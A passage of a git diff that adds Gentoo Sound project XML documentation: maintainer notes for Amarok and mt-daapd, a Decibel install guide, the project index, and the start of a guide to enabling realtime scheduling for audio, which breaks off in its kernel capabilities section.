+that useflag.
+</p>
+
+<p>
+The <b>midi</b> useflag on <c>media-sound/alsa-driver</c> disables the
+sequencer drivers, this means that if it's not enabled, even having it
+enabled on alsa-lib won't allow you to use sequencers, even virtual
+ones created by TiMidity++.
+</p>
+
+</body>
+
+</section>
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/desktop/sound/amarok.xml b/xml/htdocs/proj/en/desktop/sound/amarok.xml
new file mode 100644
index 00000000..ce7b8d02
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/sound/amarok.xml
@@ -0,0 +1,339 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/sound/amarok.xml,v 1.7 2007/12/30 15:08:36 flameeyes Exp $ -->
+
+<guide link="/proj/en/desktop/sound/amarok.xml" lang="en">
+<title>Amarok package maintenance</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<abstract>
+Guide to maintenance of Amarok package and related packages, to help new
+maintainers to know the catch ups in these packages.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.6</version>
+<date>2007-12-30</date>
+
+<chapter>
+<title>Amarok</title>
+
+<section> <!-- Introduction -->
+<title>Introduction</title>
+
+<body>
+
+<note>
+This guide was last updated for Amarok 1.4.8.
+</note>
+
+<p>
+<uri link="http://amarok.kde.org/">Amarok</uri> is one of the most used music
+players that uses the KDE libraries and framework. Its usage is not strictly
+connected to the KDE desktop itself, although some of its features are only
+available when running the KDE desktop.
+</p>
+
+<p>
+The maintenance of Amarok package isn't hard on its own, especially
+since upstream releases are scheduled in advance, and upstream is
+usually on time, and provides pre-releases for packagers only, so that
+eventual packaging bugs can be found before the actual official release. 
+</p>
+
+</body>
+</section>
+
+<section> <!-- Version bumps -->
+<title>Version bumps</title>
+<body>
+
+<p>
+The only data that requires to be verified during every version bump is the
+availability of translation and documentation, that might vary from release to
+release. The easy way to get them is to run the following commands:
+</p>
+
+<pre caption="defining the current translations and documentation available">
+amarok-${PV} $ <i>ls po | fgrep -v Makefile | xargs echo</i>
+af ar ... zh_TW
+amarok-${PV} $ <i>ls doc | egrep -v Makefile\|amarok | xargs echo</i>
+da de ... sv
+</pre>
+
+<p>
+at this point, they can easily updated inside the ebuild, by defining the LANGS
+and LANGS_DOC variables at the top:
+</p>
+
+<pre caption="defining the available translations and documentation in ebuild">
+LANGS="<i>az bg ... zh_TW</i>"
+LANGS_DOC="<i>da de ... sv</i>"
+</pre>
+
+</body>
+</section>
+
+<section> <!-- Engines -->
+<title>Engines</title>
+<body>
+
+<p>
+Amarok was designed to support different engines for audio decoding and playing,
+but after series 1.3, some of the unstable incomplete ones were dropped.
+Currently, the available engines are the <b>xine</b> engine, the default one and
+always built from ebuild (see the <uri link="/proj/en/desktop/video/xine.xml">
+  xine maintainer's guide</uri>), the <b>Helix/RealPlayer</b> engine, that can
+be enabled by the <b>real</b> USE flag on x86 architecture, the MAS and the NMM
+engines, that are strictly disabled because they are not in portage.
+</p>
+
+<p>
+Starting from version 1.4 (or rather its beta releases), Amarok
+requires that at least one stable engine is enabled, because users
+reported problems with experimental engine. The two stable engines
+that are available are xine-lib and Helix/RealPlayer. For this reason,
+Amarok ebuilds enable xine-lib engine forcefully, without an USE flag
+related to it, as it's the only one available for more than one
+platform (Helix, that would be available for PowerPC beside x86, is no
+more in portage, and wouldn't play mp3s anyway).
+</p>
+
+<p>
+As said, Helix Player is no more available in Portage, so we can only
+enable the related Amarok engine with RealPlayer, that is available
+only for x86 platform. One has not to be sidetracked by SUSE having an
+Helix engine available for AMD64 using RealPlayer, as they basically
+rewrote it to play files through commandline interface. Upstream does
+not endorse or support this approach.
+</p>
+
+<p>
+Due to a series of bugs in xine-lib, and some sanity checks applied by Amarok,
+since verison 1.4.2 of the player, it is required to have xine-lib 1.1.2 or
+later to play FLAC file (or a CVS snapshot just before it), and xine-lib 1.1.3
+to play Shorten (SHN) files. Similar issues might come in the future, as Amarok
+reflects xine's bugs on a probably wider range of users.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Databases -->
+<title>Databases</title>
+<body>
+
+<p>
+As well as different engines, Amarok can use also different database backends.
+The default (and mandatory) backend is SQLite 3; although MySQL and PostgreSQL
+backends can be turned off at build time to avoid unrequested
+dependencies, the SQLite backend cannot be switched off or removed.
+</p>
+
+<p>
+For some reasons, even if the SQLite copy used by Amarok is mostly
+pristine, using the system copy of SQLite, even with thread safety
+support enabled, produces copies of Amarok that can produce freezes on
+some systems. For this reason, the support for system SQLite use has
+been deemed unsafe and will not be used.
+</p>
+
+<p>
+Other database backends that can be used are MySQL and PostgreSQL. Both require
+user intervention to be set up, there's no way to configure them directly in
+ebuilds.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Media devices -->
+<title>Media devices</title>
+<body>
+
+<p>
+As a full-fledged media player, Amarok also provides support for transferring
+songs to and from media devices, like mp3 players and similars. Its architecture
+allows to build plugins for special devices on request, which requires adding
+more USE flags to the ebuild to handle new media device plugins from release to
+release.
+</p>
+
+<p>
+Currently the supported media devices from the ebuild are the generic USB Mass
+Storage (requiring no dependencies), the iPod devices (using <c>media-libs/libgpod</c>),
+the IFP-based devices, early iRivers (using libifp), and the Nomad devices
+(using libnjb). MTP-based media devices are supported by Amarok using libmtp
+since version 1.4.2 onward, but the support is only present in ebuilds since
+version 1.4.4 onward, because precedently noone tested its support. Rio Karma
+support is present in Amarok since version 1.4.4, but it requires packages
+currently not in portage to work (and one of them is a Linux kernel module).
+</p>
+
+<note>
+If you want to request Rio Karma support, you should understand that any bug
+that the support will bring on you'll have to handle yourself, it will be a de
+facto proxy maintainership.
+</note>
+
+</body>
+</section>
+
+<section> <!-- Ruby dependency -->
+<title>Ruby dependency</title>
+<body>
+
+<p>
+Since version 1.4, Amarok ebuild requires <c>dev-lang/ruby</c> forcefully; this
+is upon request by upstream, as the lyrics retrieval support, and the scoring
+and rating algorithms are now implemented as Ruby scripts. Then in version 1.4.1
+also the last.fm proxy support, to play last.fm streams, was implemented this
+way, and the same applies for DAAP support in version 1.4.2. For this reason,
+<b>ruby</b> is by all means a mandatory required dependency.
+</p>
+
+<p>
+Since version 1.4.4-r4 onward, Amarok depends on <c>www-servers/mongrel</c>;
+since version 1.4.5, this dependency is optional over <b>daap</b> USE flag. The
+reason for this is that before that revision it installed its own copy of
+mongrel, which would have been fine until mongrel was not in portage, but might
+be a security breach now that mongrel is in portage, as the extensions might be
+using the wrong libhttp1.so library. For this reason the internal copy of
+mongrel is removed after installation (the build time for that is risible) and
+the external copy of mongrel is used. Note that older versions block mongrel so
+that they cannot be installed together with it for safety.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Python support -->
+<title>Python support</title>
+<body>
+
+<p>
+As of version 1.4.5-r2, a new USE flag was added to Amarok:
+python. This flag is used to add a dependency over
+<c>dev-python/PyQt</c>, or remove the Web Control script.
+</p>
+
+<p>
+This flag was needed because the Web Control script is (oddly) written
+in Python and uses PyQt for the interface. No actual build-time Python
+support is needed to build Amarok anyway.
+</p>
+
+</body>
+</section>
+
+<section> <!-- Musicbrainz -->
+<title>Musicbrainz</title>
+<body>
+
+<p>
+Amarok supported for a long time the tag lookup through Musicbrainz by using
+the tunepimp library. Unfortunately that library had different versions with
+different APIs: 0.3, 0.4, 0.5, and each of them is incompatible with previous.
+</p>
+
+<p>
+Since version 1.4.2, Amarok supports the libtunepimp API 0.5, that is
+the only one available in portage for security reason (older versions
+had multiple security bugs, fixed by upstream only in 0.5 series), but
+it used to be buggy up to 1.4.4 release (Amarok was not properly
+cleaning up in case an entry wasn't found during a timeout), and up to
+version 0.5.1, libtunepimp crashed when being used on some types of
+files (WMA or FLAC).
+</p>
+
+<p>
+The issues are resolved as of 1.4.4-r3, and that version has the
+<b>musicbrainz</b> USE flag available once again.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>The live SVN ebuild</title>
+
+<body>
+
+<p>
+As upstream often considers the releases just some "SVN snapshots",
+many users got used to simply use the SVN version of Amarok on a daily
+basis. To make more friendly building from Subversion, they also
+provide an amarok-svn script that takes care of checking out the
+sources for the user and of compiling it with the correct options.
+</p>
+
+<p>
+As this solution does not go along well with Gentoo, many users
+developed their amarok-svn ebuild, that fetches the sources from KDE's
+repository and compile it with USE flags as options. Some of these
+ebuilds were published, and advertised on Amarok's wiki and on the
+#amarok channel on Freenode.
+</p>
+
+<p>
+The problems started when these ebuilds started skipping calls to
+kde.eclass to work around errors in themselves, and often ended up out
+of sync with the official ebuild, installing in the wrong prefix or
+behaving inconsistently. To overcome this issue (that was wasting a
+lot of the maintainer's time), at the end of December 2006, a Live SVN
+ebuild was added with the name <c>amarok-1.4.9999</c>.
+</p>
+
+<p>
+This ebuild is unsupported, albeit kept in sync and fixed when needed,
+so that users won't end up to break their systems anymore, and come to
+Gentoo developers complaining about it, because of ebuilds entirely
+out of sync. Being hardmasked and without keywords, it might, for
+instance, depend on a newer version of a dependency that is not yet in
+the tree.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Extra packages and scripts</title>
+
+<body>
+
+<p>
+Amarok has a modular structure with plugins, that allows the user to
+add extra features, some of which are embedded in upstream
+sources, so that new core functionalities are enabled when the proper
+packages are available.
+</p>
+
+<p>
+The main examples are transKode (<c>media-sound/transkode</c>) that
+allows to transcode music from one format to another on-the-fly when
+loading music to a portable media player device, and moodbar
+(<c>media-sound/moodbar</c>) that replaces the feature previously
+provided by exscalibar (that was unmaintained upstream and full of
+bugs).
+</p>
+
+<p>
+These packages might have an amarok USE flag to enable the support for
+the scripts features of Amarok, while Amarok should not have an
+USE flag for them to avoid cluttering.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/desktop/sound/decibel.xml b/xml/htdocs/proj/en/desktop/sound/decibel.xml
new file mode 100644
index 00000000..94fd85c6
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/sound/decibel.xml
@@ -0,0 +1,228 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/sound/decibel.xml,v 1.10 2010/06/07 19:44:35 nightmorph Exp $ -->
+
+<guide>
+<title>Decibel Audio Player</title>
+
+<author title="Author">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This page contains the installation instructions for Decibel, a gtk+ audio
+player.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>10</version>
+<date>2010-06-07</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>What's Decibel?</title>
+<body>
+
+<p>
+From the <uri link="http://decibel.silent-blade.org/">homepage</uri>: Decibel
+Audio Player is a GTK+ open-source (GPL license) audio player designed for
+GNU/Linux, which aims at being very straightforward to use by means of a very
+clean and user friendly interface. It is especially targeted at Gnome and will
+follow as closely as possible the Gnome HIG.
+</p>
+
+<p>
+Decibel is a nifty, simple little app. It has as much playback functionality as
+you want it to have. It's not an audio Swiss Army knife; for that, take a look
+at Banshee, Exaile, or Amarok. It's intended for easy browsing and playing of
+your music collection. It supports several audio formats and CD playback, and
+can keep track of several different music library locations. (A nice improvement
+over other audio applications that track only one library).
+</p>
+
+<p>
+Decibel mostly uses Python, gtk+, and gstreamer. It also needs a few Gnome
+libraries to handle the Gnome keyring for Last.fm integration. It should still
+be lightweight even if you don't use Gnome. If you <e>do</e> use Gnome, it will
+be fully integrated into your desktop.
+</p>
+
+<p>
+Decibel has optional additional runtime integration with various Gnome libraries
+such as gnome-applets, gnome-media, and a few others. More on this later.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installation</title>
+<section>
+<body>
+
+<p>
+First, let's take a look at the available USE flags. Since Decibel uses the
+modular gstreamer framework, you can choose the kinds of audio formats you want
+to be able to play. Decibel currently supports WMA (via ffmpeg), mp4 (aac), mp3,
+mp2, ac3, APE, FLAC, Musepack, WavPack, and Ogg Vorbis.
+</p>
+
+<p>
+Here are the USE flags available for the Decibel ebuild:
+</p>
+
+<table>
+<tr>
+  <th>USE flag</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>aac</ti>
+  <ti>Enables support for MPEG-4 AAC audio (mp4)</ti>
+</tr>
+<tr>
+  <ti>cdda</ti>
+  <ti>Adds support for CD audio playback and lookups via CDDB</ti>
+</tr>
+<tr>
+  <ti>gnome</ti>
+  <ti>
+    Adds Gnome media keys support, so you can control Decibel using hotkeys
+  </ti>
+</tr>
+<tr>
+  <ti>gnome-keyring</ti>
+  <ti>Uses <c>gnome-keyring</c> to store your Last.fm password</ti>
+</tr>
+<tr>
+  <ti>libnotify</ti>
+  <ti>
+    Enables desktop notification on track change. You'll get a customizable
+    popup window.
+  </ti>
+</tr>
+<tr>
+  <ti>musepack</ti>
+  <ti>Enables support for the Musepack audio (mpc)</ti>
+</tr>
+<tr>
+  <ti>wavpack</ti>
+  <ti>Enables support for WavPack audio (wv)</ti>
+</tr>
+</table>
+
+<p>
+Decibel's ebuild depends on <c>gst-plugins-meta</c>, a metapackage that provides
+most of the audio codecs. You can add support for the desired codec by
+activating the appropriate USE flag for <c>gst-plugins-meta</c>:
+</p>
+
+<table>
+<tr>
+  <th>USE flag</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>a52</ti>
+  <ti>Adds support for ac3 playback, a common DVD audio format</ti>
+</tr>
+<tr>
+  <ti>ffmpeg</ti>
+  <ti>
+    Adds support for audio formats that use the ASF container, such as
+    Windows Media Audio (WMA)
+  </ti>
+</tr>
+<tr>
+  <ti>flac</ti>
+  <ti>Adds support for FLAC: Free Lossless Audio Codec</ti>
+</tr>
+<tr>
+  <ti>mad</ti>
+  <ti>
+    Adds support for mp3 playback via MAD, a high quality decoder library
+  </ti>
+</tr>
+<tr>
+  <ti>mpeg</ti>
+  <ti>Adds support for mp2 playback</ti>
+</tr>
+<tr>
+  <ti>vorbis</ti>
+  <ti>Adds support for Ogg Vorbis audio (ogg)</ti>
+</tr>
+</table>
+
+<p>
+You can set your desired USE flags globally in <path>/etc/make.conf</path>, or
+locally in <path>/etc/portage/package.use</path>. For example, to enable support
+for everything but Musepack, you could do the following:
+</p>
+
+<pre caption="Setting USE flags in package.use">
+# <i>echo "media-plugins/gst-plugins-meta ffmpeg flac mad vorbis" >> /etc/portage/package.use</i>
+# <i>echo "media-sound/decibel-audio-player -musepack aac cdda gnome-keyring libnotify" >> /etc/portage/package.use"</i>
+</pre>
+
+<p>
+Once your flags are set, install Decibel:
+</p>
+
+<pre caption="Installing Decibel">
+# <i>emerge -avt decibel-audio-player</i>
+</pre>
+
+<p>
+One thing Decibel <e>doesn't</e> do is edit tags. Its creators believe such
+functionality is best provided by dedicated tag editing applications. Remember,
+Decibel focuses on being a <e>real</e> audio player focused on playback. There
+are <uri link="http://packages.gentoo.org">plenty of other tagging apps</uri>
+available, such as <uri
+link="http://pwp.netcabo.pt/paol/tagtool">TagTool</uri>.
+</p>
+
+<p>
+Decibel has a couple of commandline switches you may want to use.
+<c>decibel-audio-player --no-glossy-cover</c> removes the shiny effect overlayed
+on album covers, which can make them hard to see. The <c>-p</c> switch uses the
+playbin2 GStreamer component to play files. This adds support for ReplayGain and
+gapless playback. You can view the other commandline switches by running
+<c>decibel-audio-player --help</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<body>
+
+<p>
+Decibel is new, exciting, and going places, so stay on top of it! Here are a few
+links to get you started:
+</p>
+
+<ul>
+  <li>
+    The <uri link="http://decibel.silent-blade.org/">Decibel Audio Player</uri>
+    homepage. Screenshots, instructions, downloads, and more.
+  </li>
+  <li>
+    Decibel's <uri link="https://launchpad.net/decibel-audio-player">bug
+    tracker</uri>. If you find bugs <e>in the program itself</e>, report them
+    here. The bug tracker is also the best way to make feature requests and stay
+    on top of development.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/sound/index.xml b/xml/htdocs/proj/en/desktop/sound/index.xml
new file mode 100644
index 00000000..1d8d9f3b
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/sound/index.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/sound/index.xml,v 1.54 2010/08/26 22:40:26 radhermit Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>sound</name>
+<longname>Gentoo Sound project</longname>
+
+<date>2010-07-11</date>
+
+<author title="Author">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<author title="Author">
+  <mail link="metalgod@gentoo.org">Luis Medinas</mail>
+</author>
+
+<description>
+The sound team provides and maintains sound applications and drivers.
+</description>
+
+<longdescription>
+
+<p>
+The Sound team strives to provide users with the best sound experience through
+providing sound applications and drivers including alsa, audacious, amarok and
+such.
+</p>
+
+</longdescription>
+
+<dev role="lead" description="Herd Lead, Audacious and plugins, libnjb">chainsaw</dev>
+<dev role="member" description="misc">matsuu</dev>
+<dev role="member" description="libifp and iRiver related">chutzpah</dev>
+<dev role="member" description="misc">aballier</dev>
+<dev role="member" description="misc">beandog</dev>
+<dev role="member" description="misc">tanderson</dev>
+<dev role="member" description="misc">radhermit</dev>
+
+<herd name="sound" />
+<herd name="alsa" />
+<herd name="proaudio" />
+
+<resource link="/proj/en/desktop/sound/alsa.xml">
+Notes about ALSA framework's packages maintenance
+</resource>
+<resource link="/proj/en/desktop/sound/mt-daapd.xml">
+mt-daapd maintainer's guide
+</resource>
+<resource link="/proj/en/desktop/sound/amarok.xml">
+Amarok maintainer's guide
+</resource>
+<resource link="/proj/en/desktop/sound/xmms.xml">
+The How and Why of XMMS removal (by User Relations project)
+</resource>
+<resource link="/proj/en/desktop/sound/realtime.xml">
+How to Enable Realtime for Multimedia Applications
+</resource>
+<resource link="/proj/en/desktop/sound/decibel.xml">
+Decibel Audio Player Mini-installation Guide
+</resource>
+
+<extrachapter>
+<title>Guidelines for sound herd</title>
+<section>
+<title>Ebuild maintenance</title>
+<body>
+
+<p>
+It's not uncommon that a package is part of sound herd but have a direct
+maintainer.  To avoid misunderstanding, such packages are to be considered
+maintained by that developer, leaving the herd as a fallback for when the
+maintainer is away for too much time.  Always try to get a hold of the direct
+maintainer before touching a package that has a direct maintainer.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/desktop/sound/mt-daapd.xml b/xml/htdocs/proj/en/desktop/sound/mt-daapd.xml
new file mode 100644
index 00000000..9ab6bfd6
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/sound/mt-daapd.xml
@@ -0,0 +1,144 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/sound/mt-daapd.xml,v 1.1 2005/12/02 01:32:42 flameeyes Exp $ -->
+
+<guide link="/proj/en/desktop/sound/mt-daapd.xml" lang="en">
+<title>mt-daapd maintainer's guide</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<abstract>
+Maintainer notes about mt-daapd package
+</abstract>
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-12-02</date>
+
+<chapter> <!-- mt-daapd -->
+<title>mt-daapd</title>
+
+<section> <!-- Introduction -->
+<title>Introduction</title>
+
+<body>
+
+<p>
+<c>media-sound/mt-daapd</c> is a daemon that implements the server part of the
+<uri link="http://en.wikipedia.org/wiki/Digital_Audio_Access_Protocol">DAAP</uri>
+protocol, developed by Apple for its iTunes 4.0 player to share the music
+locally. DAAP is currently supported by <c>rhythmbox</c>, too.
+</p>
+
+<p>
+This package also replaces the old <c>media-sound/daapd</c> original package,
+as that stopped working correctly with recent iTunes (5 and 6). It's also more
+performant and currently maintained.
+</p>
+
+<p>
+The main drawback of <c>mt-daapd</c> respect to <c>daapd</c> is that the shared
+files have to be all on the same filesystem for every daemon running. This can
+be worked around by using more than one session (see later).
+</p>
+
+</body>
+</section>
+
+<section> <!-- Multiple instances of mt-daapd -->
+<title>Multiple instances of mt-daapd</title>
+
+<body>
+
+<p>
+As it was said, <c>mt-daapd</c> requires all the shared music files to be on the
+same filesystem, as it uses the inode's indexes to cache the music files. As
+this can be a problem for some users, the recent revisions of <c>mt-daapd</c> in
+Portage are able to run multiple instances of the daemon itself.
+</p>
+
+<p>
+Setting up a new <c>mt-daapd</c> instance is simple, and it's alike the way
+multiple network interfaces are configured: just symlink
+<path>/etc/init.d/mt-daapd</path> to
+<path>/etc/init.d/mt-daapd.<e>identifier</e></path>. Once that is done, the
+new <path>mt-daapd.<e>identifier</e></path> service will look for the
+configuration file in <path>/etc/mt-daapd.d/<e>identifier</e>.conf</path>.
+</p>
+
+<note>
+When using the simple <path>mt-daapd</path> service, instead, the configuration
+remain in <path>/etc/mt-daapd.conf</path>, so there's no problem in leaving the
+old-style configuration in place when adding a new instance.
+</note>
+
+<p>
+It's important to make sure that the different instances of the daemon should
+not share the same cache directory or that would break them. The pidfiles are
+managed by the init script, using a patch applied by the ebuild to
+<c>mt-daapd</c> sources (already accepted upstream).
+</p>
+
+<impo>
+Multiple instances does not currently work when using howl/avahi mode (see
+later on), so <c>mt-daapd</c> should be built with -howl to use them.
+</impo>
+
+</body>
+</section>
+
+<section> <!-- Interaction with mdns responders -->
+<title>Interaction with mdns responders</title>
+
+<body>
+
+<p>
+<c>mt-daapd</c> has its own implementation of the Bonjour protocol used by
+iTunes for discover the DAAP shares on the current network (for this reason,
+Bonjour is one of the fondamental part of a DAAP implementation). It can use
+either that internal version or an external responder provided by <c>howl</c>.
+</p>
+
+<note>
+The internal version does not conflict with the external responders and it's
+usually the more tested one. It's also currently the only safe way to get more
+than one mt-daapd session running on the same box.
+</note>
+
+<p>
+Support for <c>avahi</c> responder should be currently worked on by upstream;
+in the mean time for people wanting to use that instead of <c>howl</c>, the
+ebuild make use of <c>avahi</c>'s compatibility layer with howl. The <b>howl</b>
+useflag has a conditioned <b>avahi</b> useflag, when that is enabled, it does
+depend on <c>avahi</c> instead of <c>howl</c>, and then uses the includes and
+the libraries provided by the first. This compatibility layer issues a few
+warnings on daemon's output stream when the library is initialized.
+</p>
+
+<p>
+As the service have to talk with the responder when started, it has to depend
+with a <e>need</e> clause on the right responder; being conditioned on the
+<b>howl</b> useflag (as the internal version does not require an extra service
+to be running), the dependency is not stated directly on the init.d file
+installed in the user's system, instead the dependency is commented prefixed
+with <path>#USEHOWL</path> string. When compiling the software, the init file
+present on <path>${FILESDIR}</path> is then edited with sed to remove the line
+if howl is not requested, to uncomment it when howl is requested, and to change
+the service name from <path>mDNSResponder</path> to <path>avahi-daemon</path> if
+<b>avahi</b> is used.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; -->
diff --git a/xml/htdocs/proj/en/desktop/sound/realtime.xml b/xml/htdocs/proj/en/desktop/sound/realtime.xml
new file mode 100644
index 00000000..6953c3bc
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/sound/realtime.xml
@@ -0,0 +1,469 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/sound/realtime.xml,v 1.7 2008/02/22 10:27:25 flameeyes Exp $ -->
+
+<guide link="/proj/en/desktop/sound/realtime.xml" lang="en">
+<title>How to Enable Realtime for Multimedia Applications</title>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+
+<abstract>
+This guide will provide a tutorial to enable Realtime support for processes and
+threads so that it can be used for multimedia applications like realtime sound
+processing.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.4</version>
+<date>2008-02-22</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>What is realtime support?</title>
+<body>
+
+<p>
+Some multimedia applications, like digital audio recording, processing and
+playback, as well as video playback, require some degree of realtime processing.
+Think for instance of a musician playing with a MIDI instrument connected to a
+software synthesizer: if the timing is off, or the latency is too high, it will
+be difficult to get the proper result even when the instrument is played
+correctly.
+</p>
+
+<p>
+To allow proper multimedia application usage on Linux, there are a few methods
+that enable realtime support for users' processes and threads, so that important
+processes like JACK can run with the highest priority available, without having
+other processes getting in their way.
+</p>
+
+<p>
+Please note that allowing processes to run at realtime priority will
+let them make your system unusable, either because of bugs in the
+code, or malicious code that locks memory or executes instructions
+that end up using all the CPU power. For this reason, enabling
+realtime processing will require reducing security a notch on the
+system.
+</p>
+
+</body>
+</section>
+<section>
+<title>Do I need realtime support?</title>
+<body>
+
+<p>
+If your idea of multimedia is playing songs, and watching movies while doing a
+few other tasks such as browsing the web, reading and writing emails, you
+probably don't need realtime support.
+</p>
+
+<p>
+Realtime processing support is important for people who actually need the
+maximum priority for multimedia process; this includes people who record audio
+or video (without losing data) from analog input, people who play with MIDI
+musical instruments and set-top boxes wherein video and audio playback is the
+principal task.
+</p>
+
+<p>
+In general, if you're satisfied with your multimedia applications as they are,
+you likely don't need realtime support, and you might mess up your system a
+whole lot if you try to force it.
+</p>
+
+<p>
+A different class of users is embedded users who need realtime processing of
+signals or input from the users for low latency appliances. These users need
+rather different setups than most of the multimedia uses of realtime.
+</p>
+
+</body>
+</section>
+<section>
+<title>The different options for realtime</title>
+<body>
+
+<p>
+Since the realtime scheduler is already built into the recent 2.6 kernels, the
+only thing that needs to be done is to give users the ability to effectively
+execute processes or threads with realtime priority. This is because, as said
+earlier, enabling realtime priority is a security issue, and shouldn't be done
+lightly.
+</p>
+
+<p>
+The aim of this guide is to set up a <path>realtime</path> group whose members
+can use realtime priority. Some software, like PulseAudio, expects to find such
+a setup to allow users to make use of realtime support. Also, by creating its
+own group, the admin does not have to allow realtime scheduling for more users
+than needed.
+</p>
+
+<note>
+Variations on this guide can tighten security a bit, but might require further
+fiddling with the configuration of other software that would be able to use
+these features.
+</note>
+
+<p>
+There are two ways to setup and use realtime:
+</p>
+
+<ul>
+  <li><c>realtime-lsm</c></li>
+  <li><c>pam</c></li>
+</ul>
+
+<p>
+One of the most common options described in guides for various multimedia
+software is to use <c>realtime-lsm</c>, a kernel module that can enable either
+the whole system or a given group to use realtime priority, and at the same time
+disable memory locking to reduce the chances of a DoS attack. Although this
+option is very easy to use, it's currently deprecated, as the kernel developers
+suggest to use the Linux rlimits instead.
+</p>
+
+<p>
+The other option is to use the <c>pam_limits</c> PAM module that ships with
+Linux-PAM (<c>sys-libs/pam</c>), that allows realtime priority for particular
+users or groups. The disadvantage of this is that there is no default
+configuration available, it has to be configured from scratch.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuration</title>
+<section>
+<title>The need for capabilities</title>
+<body>
+
+<p>
+Some of the software that supports realtime priority can make use of the Linux
+system capabilities to reduce the chances that bugs or malicious code (in
+plugins) might misuse the improved privileges it was given. Enabling these
+features is quite important, so it's recommended to enable support for them by
+enabling the <b>caps</b> USE flag in either <path>/etc/make.conf</path> or for
+the software that will run with realtime priority through
+<path>/etc/portage/package.use</path>.
+</p>
+
+<p>
+On a kernel level, capabilities are enabled by default, but they can be
+disabled, so before starting, make sure that the support is at least enabled as
+a module (as you'll see later, for <c>realtime-lsm</c> to work they cannot be
+built-in, they have to be built as a module).
+</p>
+
+<pre caption="Option 1: default configuration">
+Security options ---&gt;
+  [ ] Enable different security models
+</pre>
+
+<p>
+The default configuration is good enough for most cases; if you really need to
+enable support for extra security modules, you should then also enable the
+capabilities, or they will not work:
+</p>
+
+<pre caption="Option 2: explicitly enable capabilities">
+Security options ---&gt;
+  [*] Enable different security models
+  &lt;*&gt;   Default Linux Capabilities
+</pre>
+
+<p>
+As stated earlier, for <c>realtime-lsm</c> to work you must make
+capabilities a module, or <c>realtime-lsm</c> will not work at all. In
+that case you not only need to configure the kernel properly:
+</p>
+
+<pre caption="Option 3: make capabilities a module">
+Security options ---&gt;
+  [*] Enable different security models
+  &lt;M&gt;   Default Linux Capabilities
+</pre>
+
+<p>
+However, you also need to insert the module in the kernel automatically,
+otherwise <c>avahi</c> or any other software that expects capabilities to be
+supported will simply fail. To do so, just add <b>capability</b> in a
+non-commented line in <path>/etc/modules.autoload.d/kernel-2.6</path>.
+</p>
+
+<warn>
+If you build capabilities as a module, it's really important to put the
+<b>capability</b> module in autoload, otherwise services might fail to start at
+boot, or might start with reduced security options.
